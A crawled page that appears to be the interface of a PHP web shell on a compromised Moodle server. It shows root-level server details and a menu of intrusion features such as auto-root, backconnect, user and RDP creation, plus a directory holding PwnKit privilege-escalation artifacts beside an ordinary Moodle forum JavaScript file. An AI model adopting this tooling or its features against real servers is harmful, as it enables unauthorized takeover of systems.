Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
forum /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
grades
[ DIR ]
drwxrwxrwx
local
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
discussion.js
10.2
KB
-rwxrwxrwx
discussion_list.js
5.71
KB
-rwxrwxrwx
discussion_nested_v2.js
16.11
KB
-rwxrwxrwx
favourite_toggle.js
2.69
KB
-rwxrwxrwx
form-user-selector.js
2.6
KB
-rwxrwxrwx
forum_events.js
1.02
KB
-rwxrwxrwx
inpage_reply.js
8.6
KB
-rwxrwxrwx
lock_toggle.js
2.12
KB
-rwxrwxrwx
pin_toggle.js
2.84
KB
-rwxrwxrwx
posts_list.js
4.4
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
repository.js
5.67
KB
-rwxrwxrwx
selectors.js
3.3
KB
-rwxrwxrwx
subscription_toggle.js
2.58
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : posts_list.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This module is the highest level module for the calendar. It is * responsible for initialising all of the components required for * the calendar to run. It also coordinates the interaction between * components by listening for and responding to different events * triggered within the calendar UI. * * @module mod_forum/posts_list * @package mod_forum * @copyright 2019 Peter Dias * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define([ 'jquery', 'core/templates', 'core/notification', 'core/pending', 'core/yui', 'mod_forum/selectors', 'mod_forum/inpage_reply', ], function( $, Templates, Notification, Pending, Y, Selectors, InPageReply ) { var registerEventListeners = function(root) { root.on('click', Selectors.post.inpageReplyLink, function(e) { e.preventDefault(); // After adding a reply a url hash is being generated that scrolls (points) to the newly added reply. // The hash being present causes this scrolling behavior to the particular reply to persists even when // another, non-related in-page replay link is being clicked which ultimately causes a bad user experience. // A particular solution for this problem would be changing the browser's history state when a url hash is // present. if (window.location.hash) { // Remove the fragment identifier from the url. var url = window.location.href.split('#')[0]; history.pushState({}, document.title, url); } var pending = new Pending('inpage-reply'); var currentTarget = $(e.currentTarget).parents(Selectors.post.forumCoreContent); var currentSubject = currentTarget.find(Selectors.post.forumSubject); var currentRoot = $(e.currentTarget).parents(Selectors.post.forumContent); var context = { postid: $(currentRoot).data('post-id'), "reply_url": $(e.currentTarget).attr('href'), sesskey: M.cfg.sesskey, parentsubject: currentSubject.data('replySubject'), canreplyprivately: $(e.currentTarget).data('can-reply-privately'), postformat: InPageReply.CONTENT_FORMATS.MOODLE }; if (!currentRoot.find(Selectors.post.inpageReplyContent).length) { Templates.render('mod_forum/inpage_reply', context) .then(function(html, js) { return Templates.appendNodeContents(currentTarget, html, js); }) .then(function() { return currentRoot.find(Selectors.post.inpageReplyContent) .slideToggle(300, pending.resolve).find('textarea').focus(); }) .then(function() { // Load formchangechecker module. Y.use('moodle-core-formchangechecker', () => { M.core_formchangechecker.init({formid: `inpage-reply-${context.postid}`}); }); return; }) .fail(Notification.exception); } else { var form = currentRoot.find(Selectors.post.inpageReplyContent); form.slideToggle(300, pending.resolve); if (form.is(':visible')) { form.find('textarea').focus(); } } }); }; return { init: function(root) { registerEventListeners(root); InPageReply.init(root); } }; });
Close